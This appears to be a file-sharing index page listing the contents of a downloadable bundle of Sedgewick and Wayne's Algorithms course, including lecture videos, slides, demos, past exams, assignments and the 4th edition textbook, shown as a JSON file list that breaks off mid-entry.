Algorithms - Robert Sedgewick, Kevin Wayne

mp4   Hot:187   Size:2.78 GB   Created:2017-09-01 23:58:29   Update:2021-12-12 16:08:41  

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "Lectures - video - part 1/53 - Geometric Applications of BSTs - Kd-Trees.mp4", "length": 56366442}, {"path": "Lectures - video - part 1/45 - Balanced Search Trees - Red-Black BSTs.mp4", "length": 55251753}, {"path": "Lectures - video - part 2/41 - Substring Search - Knuth-Morris-Pratt.mp4", "length": 47231518}, {"path": "Lectures - video - part 2/16 - Minimum Spanning Trees - Prim's Algorithm.mp4", "length": 44331081}, {"path": "Lectures - video - part 2/35 - Tries - R-Way Tries.mp4", "length": 42879883}, {"path": "Lectures - video - part 1/37 - Priority Queues - Event-Driven Simulation.mp4", "length": 40440228}, {"path": "Lectures - video - part 2/52 - Data Compression - LZW Compression.mp4", "length": 38949601}, {"path": "Lectures - video - part 2/03 - Undirected Graphs - Depth-First Search.mp4", "length": 38770645}, {"path": "Lectures - video - part 2/49 - Data Compression - Introduction.mp4", "length": 37787644}, {"path": "Lectures - video - part 2/61 - Intractability - Introduction.mp4", "length": 36163802}, {"path": "Lectures - video - part 1/25 - Mergesort - Mergesort.mp4", "length": 35804754}, {"path": "Lectures - video - part 2/51 - Data Compression - Huffman Compression.mp4", "length": 35669328}, {"path": "Lectures - video - part 2/28 - Maximum Flow - Applications.mp4", "length": 35552003}, {"path": "Lectures - video - part 2/48 - Regular Expressions - Applications.mp4", "length": 35445990}, {"path": "Lectures - video - part 1/35 - Priority Queues - Binary Heaps.mp4", "length": 35074704}, {"path": "Lectures - video - part 2/38 - Tries - Character-Based Operations.mp4", "length": 34308067}, {"path": "Lectures - video - part 1/38 - Symbol Tables - API.mp4", "length": 34179391}, {"path": "Lectures - video - part 2/65 - Intractability - NP-Completeness.mp4", "length": 33339799}, {"path": "Lectures - video - part 2/44 - Regular Expressions - Regular Expressions.mp4", "length": 32327989}, {"path": "Lectures - video - part 2/57 - Linear Programming - Brewer's Problem.mp4", "length": 32038293}, {"path": "Lectures - video - part 2/59 - Linear Programming - Implementations.mp4", "length": 31508691}, {"path": "Lectures - video - part 2/63 - Intractability - P vs. NP.mp4", "length": 31405600}, {"path": "Lectures - video - part 2/34 - String Sorts - Suffix Arrays.mp4", "length": 31065230}, {"path": "Lectures - video - part 1/30 - Quicksort - Quicksort.mp4", "length": 29966067}, {"path": "Lectures - video - part 1/41 - Binary Search Trees - BSTs.mp4", "length": 29666714}, {"path": "Lectures - video - part 2/20 - Shortest Paths - Dijkstra's Algorithm.mp4", "length": 29452005}, {"path": "Lectures - video - part 2/22 - Shortest Paths - Negative Weights.mp4", "length": 29193708}, {"path": "Lectures - video - part 2/31 - String Sorts - LSD Radix Sort.mp4", "length": 29027428}, {"path": "Lectures - video - part 2/09 - Directed Graphs - Digraph Search.mp4", "length": 28929195}, {"path": "Lectures - video - part 2/21 - Shortest Paths - Edge-Weighted DAGs.mp4", "length": 27777951}, {"path": "Lectures - video - part 2/11 - Directed Graphs - Strong Components.mp4", "length": 27325628}, {"path": "Lectures - video - part 2/29 - String Sorts - Strings in Java.mp4", "length": 26616955}, {"path": "Lectures - video - part 1/47 - Hash Tables - Hash Functions.mp4", "length": 26510784}, {"path": "Lectures - video - part 1/13 - Bags, Queues, And Stacks - Stacks.mp4", "length": 26503197}, {"path": "Lectures - video - part 1/44 - Balanced Search Trees - 2-3 Search Trees.mp4", "length": 26255499}, {"path": "Lectures - video - part 2/05 - Undirected Graphs - Connected Components.mp4", "length": 25954804}, {"path": "Lectures - video - part 2/43 - Substring Search - Rabin-Karp.mp4", "length": 25774283}, {"path": "Lectures - video - part 2/06 - Undirected Graphs - Challenges.mp4", "length": 25501785}, {"path": "Lectures - video - part 2/46 - Regular Expressions - NFA Simulation.mp4", "length": 25041992}, {"path": "Lectures - video - part 1/05 - Union-Find - Quick-Union Improvements.mp4", "length": 23526396}, {"path": "Lectures - video - part 2/66 - Intractability - Coping with Intractability.mp4", "length": 22716077}, {"path": "Lectures - video - part 2/64 - Intractability - Classifying Problems.mp4", "length": 22405521}, {"path": "Lectures - video - part 2/62 - Intractability - Search Problems.mp4", "length": 22263505}, {"path": "Lectures - video - part 1/24 - Elementary Sorts - Convex Hull.mp4", "length": 21966553}, {"path": "Lectures - video - part 2/60 - Linear Programming - Reductions.mp4", "length": 21794980}, {"path": "Lectures - video - part 1/18 - Bags, Queues, And Stacks - Applications.mp4", "length": 21721383}, {"path": "Lectures - video - part 2/02 - Undirected Graphs - Graph API.mp4", "length": 21579884}, {"path": "Lectures - video - part 1/36 - Priority Queues - Heapsort.mp4", "length": 21485640}, {"path": "Lectures - video - part 1/19 - Elementary Sorts - Rules of the Game.mp4", "length": 21435838}, {"path": "Lectures - video - part 1/49 - Hash Tables - Linear Probing.mp4", "length": 21254428}, {"path": "Lectures - slides, demos + Exams/13 - Undirected Graphs/41UndirectedGraphs.pdf", "length": 20899526}, {"path": "Lectures - video - part 1/34 - Priority Queues - APIs and Elementary Implementations.mp4", "length": 20898287}, {"path": "Lectures - video - part 1/06 - Union-Find - Applications.mp4", "length": 20786037}, {"path": "Lectures - video - part 2/19 - Shortest Paths - Shortest Paths Properties.mp4", "length": 20734944}, {"path": "Lectures - video - part 1/09 - Analysis of Algorithms - Mathematical Models.mp4", "length": 20672091}, {"path": "Lectures - video - part 1/03 - Union-Find - Quick Find.mp4", "length": 20373464}, {"path": "Lectures - video - part 1/10 - Analysis of Algorithms - Order-of-Growth Classifications.mp4", "length": 20343832}, {"path": "Lectures - video - part 2/27 - Maximum Flow - Java Implementation.mp4", "length": 20076749}, {"path": "Lectures - video - part 2/04 - Undirected Graphs - Breadth-First Search.mp4", "length": 19994716}, {"path": "Lectures - video - part 2/45 - Regular Expressions - NFAs.mp4", "length": 19986571}, {"path": "Lectures - video - part 2/32 - String Sorts - MSD Radix Sort.mp4", "length": 19964855}, {"path": "Lectures - video - part 1/33 - Quicksort - System Sorts.mp4", "length": 19948132}, {"path": "Lectures - video - part 1/11 - Analysis of Algorithms - Theory of Algorithms.mp4", "length": 19926731}, {"path": "Lectures - video - part 1/54 - Geometric Applications of BSTs - Interval Search Trees.mp4", "length": 19829287}, {"path": "Lectures - video - part 2/56 - Reductions - Classifying Problems.mp4", "length": 19415989}, {"path": "Lectures - video - part 2/13 - Minimum Spanning Trees - Greedy Algorithm.mp4", "length": 19174543}, {"path": "Lectures - video - part 1/32 - Quicksort - Duplicate Keys.mp4", "length": 18901744}, {"path": "Lectures - video - part 1/46 - Balanced Search Trees - B-Trees.mp4", "length": 18863678}, {"path": "Lectures - video - part 2/53 - Reductions - Introduction.mp4", "length": 18295874}, {"path": "Lectures - video - part 1/01 - Course Introduction.mp4", "length": 18053514}, {"path": "Lectures - video - part 2/10 - Directed Graphs - Topological Sort.mp4", "length": 17705096}, {"path": "Lectures - video - part 2/15 - Minimum Spanning Trees - Kruskal's Algorithm.mp4", "length": 17694344}, {"path": "Lectures - video - part 2/30 - String Sorts - Key Indexed Counting.mp4", "length": 17571349}, {"path": "Lectures - video - part 2/47 - Regular Expressions - NFA Construction.mp4", "length": 17367419}, {"path": "Lectures - video - part 2/55 - Reductions - Establishing Lower Bonds.mp4", "length": 17250158}, {"path": "Lectures - video - part 2/17 - Minimum Spanning Trees - Context.mp4", "length": 17222159}, {"path": "Lectures - video - part 1/14 - Bags, Queues, And Stacks - Resizing Arrays.mp4", "length": 17069699}, {"path": "Lectures - video - part 1/43 - Binary Search Trees - Deletion.mp4", "length": 17015528}, {"path": "Lectures - video - part 2/58 - Linear Programming - Simplex Algorithm.mp4", "length": 16900752}, {"path": "Lectures - video - part 1/02 - Union-Find - Dynamic Connectivity.mp4", "length": 16796854}, {"path": "Lectures - video - part 2/18 - Shortest Paths - APIs.mp4", "length": 16435871}, {"path": "Lectures - video - part 1/16 - Bags, Queues, And Stacks - Generics.mp4", "length": 16099597}, {"path": "Lectures - video - part 2/14 - Minimum Spanning Trees - Edge-Weighted Graph API.mp4", "length": 15857859}, {"path": "Lectures - video - part 2/23 - Maximum Flow - Introduction.mp4", "length": 15721488}, {"path": "Lectures - video - part 2/36 - Tries - Ternary Search Tries.mp4", "length": 15666853}, {"path": "Lectures - video - part 1/22 - Elementary Sorts - Shellsort.mp4", "length": 15637966}, {"path": "Lectures - video - part 2/01 - Undirected Graphs - Introduction.mp4", "length": 15276238}, {"path": "Lectures - video - part 2/37 - Tries - Ternary Search Tries - 2.mp4", "length": 15250134}, {"path": "Lectures - slides, demos + Exams/01 - Intro \u00b7 Union Find/15DemoQuickUnion.mov", "length": 15222366}, {"path": "Lectures - video - part 1/08 - Analysis of Algorithms - Observations.mp4", "length": 15074255}, {"path": "Lectures - video - part 1/50 - Hash Tables - Context.mp4", "length": 15071597}, {"path": "Lectures - video - part 1/42 - Binary Search Trees - Ordered Operations.mp4", "length": 14954928}, {"path": "Lectures - video - part 2/40 - Substring Search - Brute Force.mp4", "length": 14817325}, {"path": "Lectures - video - part 1/21 - Elementary Sorts - Insertion Sort.mp4", "length": 14766080}, {"path": "Lectures - video - part 1/58 - Symbol Table Applications - Indexing Clients.mp4", "length": 14711490}, {"path": "Lectures - video - part 1/27 - Mergesort - Sorting Complexity.mp4", "length": 14447177}, {"path": "Lectures - video - part 1/07 - Analysis of Algorithms - Introduction.mp4", "length": 14008875}, {"path": "Lectures - video - part 2/07 - Directed Graphs - Introduction.mp4", "length": 13959960}, {"path": "Lectures - video - part 1/39 - Symbol Tables - Elementary Implementations.mp4", "length": 13556956}, {"path": "Lectures - video - part 2/25 - Maximum Flow - Maxflow-Mincut Theorem.mp4", "length": 13405538}, {"path": "Lectures - slides, demos + Exams/14 - Directed Graphs/42DemoKosarajuSharir.mov", "length": 13395596}, {"path": "Lectures - video - part 2/26 - Maximum Flow - Running Time Analysis.mp4", "length": 13288228}, {"path": "Lectures - video - part 1/51 - Geometric Applications of BSTs - 1d Range Search.mp4", "length": 13170689}, {"path": "Lectures - video - part 1/12 - Analysis of Algorithms - Memory.mp4", "length": 12937753}, {"path": "Book - Robert Sedgewick and Kevin Wayne - Algorithms, 4th edition.pdf", "length": 12927921}, {"path": "Lectures - video - part 1/55 - Geometric Applications of BSTs - Rectangle Intersection.mp4", "length": 12716833}, {"path": "Lectures - video - part 2/42 - Substring Search - Boyer-Moore.mp4", "length": 12590464}, {"path": "Lectures - video - part 2/33 - String Sorts - 3-Way Radix Quicksort.mp4", "length": 12491836}, {"path": "Lectures - video - part 2/54 - Reductions - Designing Algorithms.mp4", "length": 12447923}, {"path": "Lectures - video - part 1/23 - Elementary Sorts - Shuffling.mp4", "length": 12187601}, {"path": "Lectures - video - part 1/31 - Quicksort - Selection.mp4", "length": 12183919}, {"path": "Lectures - video - part 1/59 - Symbol Table Applications - Sparse Vectors.mp4", "length": 11777434}, {"path": "Lectures - video - part 1/17 - Bags, Queues, And Stacks - Iterators.mp4", "length": 11602944}, {"path": "Lectures - video - part 1/04 - Union-Find - Quick Union.mp4", "length": 11496342}, {"path": "Lectures - video - part 1/48 - Hash Tables - Separate Chaining.mp4", "length": 10843117}, {"path": "Lectures - video - part 1/20 - Elementary Sorts - Selection Sort.mp4", "length": 10734073}, {"path": "Lectures - video - part 1/28 - Mergesort - Comparators.mp4", "length": 10556317}, {"path": "Lectures - slides, demos + Exams/10 - Balanced Search Trees/33Demo23Tree.mov", "length": 10262684}, {"path": "Lectures - video - part 1/40 - Symbol Tables - Ordered Operations.mp4", "length": 10058670}, {"path": "Lectures - video - part 2/50 - Data Compression - Run-Length Coding.mp4", "length": 9554501}, {"path": "Lectures - video - part 2/39 - Substring Search - Introduction.mp4", "length": 9481192}, {"path": "Lectures - video - part 1/29 - Mergesort - Stability.mp4", "length": 9169211}, {"path": "Lectures - video - part 2/24 - Maximum Flow - Ford-Fulkerson Algorithm.mp4", "length": 8919736}, {"path": "Lectures - video - part 1/57 - Symbol Table Applications - Dictionary Clients.mp4", "length": 8885869}, {"path": "Lectures - video - part 1/52 - Geometric Applications of BSTs - Line Segment Intersection.mp4", "length": 8660251}, {"path": "Lectures - video - part 1/15 - Bags, Queues, And Stacks - Queues.mp4", "length": 8153737}, {"path": "Lectures - video - part 1/56 - Symbol Table Applications - Sets.mp4", "length": 7920930}, {"path": "Lectures - slides, demos + Exams/10 - Balanced Search Trees/33BalancedSearchTrees.pdf", "length": 7768791}, {"path": "Lectures - slides, demos + Exams/10 - Balanced Search Trees/33DemoRedBlackBST.mov", "length": 7595625}, {"path": "Lectures - video - part 2/08 - Directed Graphs - Digraph API.mp4", "length": 7555574}, {"path": "Lectures - slides, demos + Exams/16 - Shortest Paths/44ShortestPaths.pdf", "length": 7459228}, {"path": "Lectures - slides, demos + Exams/20 - Substring Search/53DemoKnuthMorrisPratt.mov", "length": 7160178}, {"path": "Lectures - video - part 2/12 - Minimum Spanning Trees - Introduction.mp4", "length": 7090381}, {"path": "Lectures - slides, demos + Exams/17 - Maximum Flow/64MaxFlow.pdf", "length": 6940404}, {"path": "Lectures - slides, demos + Exams/07 - Priority Queues/24DemoHeapsort.mov", "length": 6909023}, {"path": "Lectures - slides, demos + Exams/01 - Intro \u00b7 Union Find/00Intro+15UnionFind.pdf", "length": 6836460}, {"path": "Lectures - slides, demos + Exams/13 - Undirected Graphs/41DemoConnectedComponents.mov", "length": 6779135}, {"path": "Lectures - slides, demos + Exams/11 - Hash Tables/34DemoLinearProbingHashTable.mov", "length": 5959940}, {"path": "Lectures - slides, demos + Exams/22 - Data Compression/55DataCompression.pdf", "length": 5932351}, {"path": "Lectures - video - part 1/26 - Mergesort - Bottom-up Mergesort.mp4", "length": 5629395}, {"path": "Lectures - slides, demos + Exams/24 - Combinatorial Search/67CombinatorialSearch.pdf", "length": 5494512}, {"path": "Lectures - slides, demos + Exams/04 - Elementary Sorts/21DemoInsertionSort.mov", "length": 5405652}, {"path": "Lectures - slides, demos + Exams/15 - Minimum Spanning Trees/43MinimumSpanningTrees.pdf", "length": 5184085}, {"path": "Lectures - slides, demos + Exams/09 - Geometric Applications of BSTs/99DemoKdTree.mov", "length": 5176811}, {"path": "Lectures - slides, demos + Exams/09 - Geometric Applications of BSTs/99DemoIntervalSearchTree.mov", "length": 5062629}, {"path": "Lectures - slides, demos + Exams/14 - Directed Graphs/42DirectedGraphs.pdf", "length": 5055860}, {"path": "Lectures - slides, demos + Exams/03 - Stacks and Queues/13StacksAndQueues.pdf", "length": 4824091}, {"path": "Lectures - slides, demos + Exams/13 - Undirected Graphs/41DemoBreadthFirstSearch.mov", "length": 4709108}, {"path": "Lectures - slides, demos + Exams/20 - Substring Search/53SubstringSearch.pdf", "length": 4634129}, {"path": "Lectures - slides, demos + Exams/21 - Regular Expressions/54DemoSimulationNFA.mov", "length": 4538288}, {"path": "Lectures - slides, demos + Exams/07 - Priority Queues/24PriorityQueues.pdf", "length": 4487902}, {"path": "Lectures - slides, demos + Exams/18 - String Sorts/51StringSorts.pdf", "length": 4344506}, {"path": "Lectures - slides, demos + Exams/02 - Analysis of Algorithms/14AnalysisOfAlgorithms.pdf", "length": 4341277}, {"path": "Lectures - slides, demos + Exams/19 - Tries/52DemoTrie.mov", "length": 4285895}, {"path": "Lectures - slides, demos + Exams/19 - Tries/52DemoTST.mov", "length": 4263513}, {"path": "Lectures - slides, demos + Exams/03 - Stacks and Queues/13DemoDijkstraTwoStack.mov", "length": 4232078}, {"path": "Lectures - slides, demos + Exams/22 - Data Compression/55DemoLZW.mov", "length": 4057180}, {"path": "Lectures - slides, demos + Exams/06 - Quicksort/23Quicksort.pdf", "length": 4053292}, {"path": "Lectures - slides, demos + Exams/13 - Undirected Graphs/41DemoDepthFirstSearch.mov", "length": 4029805}, {"path": "Lectures - slides, demos + Exams/09 - Geometric Applications of BSTs/99GeometricSearch.pdf", "length": 4023276}, {"path": "Lectures - slides, demos + Exams/17 - Maximum Flow/64DemoFordFulkerson.mov", "length": 3952576}, {"path": "Lectures - slides, demos + Exams/14 - Directed Graphs/42DemoTopologicalSort.mov", "length": 3857328}, {"path": "Lectures - slides, demos + Exams/11 - Hash Tables/34HashTables+35SearchingApplications.pdf", "length": 3739789}, {"path": "Lectures - slides, demos + Exams/08 - Elementary Symbol Tables \u00b7 BSTs/31ElementarySymbolTables+32BinarySearchTrees.pdf", "length": 3646334}, {"path": "Lectures - slides, demos + Exams/22 - Data Compression/55DemoHuffman.mov", "length": 3631396}, {"path": "Lectures - slides, demos + Exams/05 - Mergesort/22Mergesort.pdf", "length": 3599610}, {"path": "Lectures - slides, demos + Exams/04 - Elementary Sorts/21ElementarySorts.pdf", "length": 3586479}, {"path": "Lectures - slides, demos + Exams/23 - Reductions/65Reductions.pdf", "length": 3561814}, {"path": "Lectures - slides, demos + Exams/04 - Elementary Sorts/21DemoSelectionSort.mov", "length": 3377908}, {"path": "Lectures - slides, demos + Exams/04 - Elementary Sorts/21DemoKnuthShuffle.mov", "length": 3346220}, {"path": "Lectures - slides, demos + Exams/05 - Mergesort/22DemoMerge.mov", "length": 3106029}, {"path": "Lectures - slides, demos + Exams/14 - Directed Graphs/42DemoDepthFirstSearch.mov", "length": 3104226}, {"path": "Lectures - slides, demos + Exams/07 - Priority Queues/24DemoBinaryHeap.mov", "length": 3060055}, {"path": "Lectures - slides, demos + Exams/01 - Intro \u00b7 Union Find/15DemoQuickFind.mov", "length": 3053102}, {"path": "Lectures - slides, demos + Exams/21 - Regular Expressions/54DemoConstructionNFA.mov", "length": 2879337}, {"path": "Lectures - slides, demos + Exams/08 - Elementary Symbol Tables \u00b7 BSTs/32DemoBinarySearchTree.mov", "length": 2862547}, {"path": "Lectures - slides, demos + Exams/21 - Regular Expressions/54RegularExpressions.pdf", "length": 2205584}, {"path": "Lectures - slides, demos + Exams/19 - Tries/52Tries.pdf", "length": 1925996}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2011/fin-f11.pdf", "length": 1212470}, {"path": "Lectures - slides, demos + Exams/06 - Quicksort/23DemoPartitioningDijkstra.pdf", "length": 1111446}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2008/mid-f08.pdf", "length": 981466}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2009/mid-f09-sol.pdf", "length": 964700}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2008/mid-f08-sol.pdf", "length": 945847}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2009/fin-f09.pdf", "length": 576449}, {"path": "Lectures - slides, demos + Exams/15 - Minimum Spanning Trees/43DemoPrim.pdf", "length": 427528}, {"path": "Lectures - slides, demos + Exams/16 - Shortest Paths/44DemoBellmanFord.pdf", "length": 368374}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Spring 2008/fin-s08.pdf", "length": 335220}, {"path": "Lectures - slides, demos + Exams/06 - Quicksort/23DemoPartitioning.pdf", "length": 333168}, {"path": "Lectures - slides, demos + Exams/06 - Quicksort/23DemoPartitioningDualPivot.pdf", "length": 325940}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2010/fin-f10.pdf", "length": 317119}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Spring 2012/fin-s12.pdf", "length": 305776}, {"path": "Lectures - slides, demos + Exams/16 - Shortest Paths/44DemoDijkstra.pdf", "length": 293745}, {"path": "Lectures - slides, demos + Exams/16 - Shortest Paths/44DemoAcyclicSP.pdf", "length": 290848}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2011/mid-f11.pdf", "length": 290162}, {"path": "Lectures - slides, demos + Exams/18 - String Sorts/51DemoKeyIndexedCounting.pdf", "length": 288588}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2008/fin-f08.pdf", "length": 286605}, {"path": "Assignments - part 1/pdf/wk1-Prog-Assign-Percolation.pdf", "length": 274647}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2010/mid-f10.pdf", "length": 267420}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2012/mid-f12.pdf", "length": 225073}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Spring 2012/mid-s12.pdf", "length": 220285}, {"path": "About the Course.pdf", "length": 218787}, {"path": "Assignments - part 1/pdf/wk1-Prog-Assign-Percolation-cklist.pdf", "length": 208093}, {"path": "Assignments - part 1/pdf/wk5-Prog-Assign-Kd-Trees.pdf", "length": 202301}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2012/mid-f12-sol.pdf", "length": 195929}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2008/fin-f08-sol.pdf", "length": 192248}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2011/fin-f11-sol.pdf", "length": 174159}, {"path": "Lectures - slides, demos + Exams/15 - Minimum Spanning Trees/43DemoKruskal.pdf", "length": 171293}, {"path": "Lectures - slides, demos + Exams/15 - Minimum Spanning Trees/43DemoGreedy.pdf", "length": 170963}, {"path": "Excercises - part 1/pdf/exercise-wk06-Final-Exam.pdf", "length": 170649}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Spring 2008/fin-s08-sol.pdf", "length": 170148}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Spring 2012/fin-s12-sol.pdf", "length": 166058}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2009/mid-f09.pdf", "length": 151184}, {"path": "Lectures - slides, demos + Exams/04 - Elementary Sorts/99DemoGrahamScan.pdf", "length": 145795}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Spring 2008/mid-s08.pdf", "length": 142419}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2010/fin-f10-sol.pdf", "length": 132613}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Spring 2008/mid-s08-sol.pdf", "length": 128944}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/ReadMe - COS 226 Final Information, Fall 2012.pdf", "length": 128174}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/ReadMe - COS 226 Midterm Information, Fall 2012.pdf", "length": 127630}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Spring 2012/mid-s12-sol.pdf", "length": 126975}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2010/mid-f10-sol.pdf", "length": 118559}, {"path": "Assignments - part 1/pdf/wk3-Prog-Assign-Collinear-Points.pdf", "length": 116053}, {"path": "Excercises - part 1/pdf/exercise-wk01-Analysis-of-alogrithms.pdf", "length": 110770}, {"path": "Excercises - part 1/pdf/exercise-wk02-Stacks-Queues.pdf", "length": 103628}, {"path": "Assignments - part 1/pdf/wk0-Prog-Assign-Assessments-Guide.pdf", "length": 102842}, {"path": "Excercises - part 1/pdf/exercise-wk06-Hash-Tables.pdf", "length": 97326}, {"path": "Excercises - part 1/pdf/exercise-wk01-Union-Find.pdf", "length": 96382}, {"path": "Lectures - slides, demos + Exams/25 - FINAL EXAM - past examples/Fall 2009/fin-f09-sol.pdf", "length": 95208}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/jquery.js", "length": 93868}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/jquery.js", "length": 93868}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/jquery.js", "length": 93868}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/jquery.js", "length": 93868}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/jquery.js", "length": 93868}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/jquery.js", "length": 93868}, {"path": "Excercises - part 1/pdf/exercise-wk05-Geometric-Searching-of-BSTs.pdf", "length": 91340}, {"path": "Excercises - part 1/pdf/exercise-wk03-Quicksort.pdf", "length": 90451}, {"path": "Excercises - part 1/pdf/exercise-wk05-Balanced-Search-Trees.pdf", "length": 89514}, {"path": "Excercises - part 1/pdf/exercise-wk03-MergeSort.pdf", "length": 89461}, {"path": "Excercises - part 1/pdf/exercise-wk04-Elementary-Symbol-Tables.pdf", "length": 89389}, {"path": "Excercises - part 1/pdf/exercise-wk04-Priority-Queues.pdf", "length": 89059}, {"path": "Excercises - part 1/pdf/exercise-wk02-Elementary-Sorts.pdf", "length": 88810}, {"path": "Lectures - slides, demos + Exams/02 - Analysis of Algorithms/14DemoBinarySearch.pdf", "length": 86245}, {"path": "Assignments - part 1/pdf/wk1-Prog-Assign-Percolation-Instructions.pdf", "length": 79422}, {"path": "Assignments - part 1/pdf/wk5-Prog-Assign-Kd-Trees-cklist.pdf", "length": 72880}, {"path": "Lectures - slides, demos + Exams/12 - MIDTERM EXAM - past examples/Fall 2011/mid-f11-sol.pdf", "length": 69697}, {"path": "Assignments - part 1/pdf/wk3-Prog-Assign-Collinear-Points-cklist.pdf", "length": 67022}, {"path": "Assignments - part 1/pdf/wk2-Prog-Assign-Queues-cklist.pdf", "length": 66326}, {"path": "Assignments - part 1/pdf/wk4-Prog-Assign-8-Puzzle-cklist.pdf", "length": 66284}, {"path": "Assignments - part 1/pdf/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions.pdf", "length": 66125}, {"path": "Assignments - part 1/pdf/wk4-Prog-Assign-8-Puzzle--Instrustions.pdf", "length": 65861}, {"path": "Assignments - part 1/pdf/wk5-Prog-Assign-Kd-Trees--Instructions.pdf", "length": 65753}, {"path": "Assignments - part 1/pdf/wk3-Prog-Assign-Collinear-Points-Instructions.pdf", "length": 65617}, {"path": "Assignments - part 1/pdf/wk4-Prog-Assign-8-Puzzle.pdf", "length": 54116}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/MathJax.js", "length": 49695}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/MathJax.js", "length": 49695}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 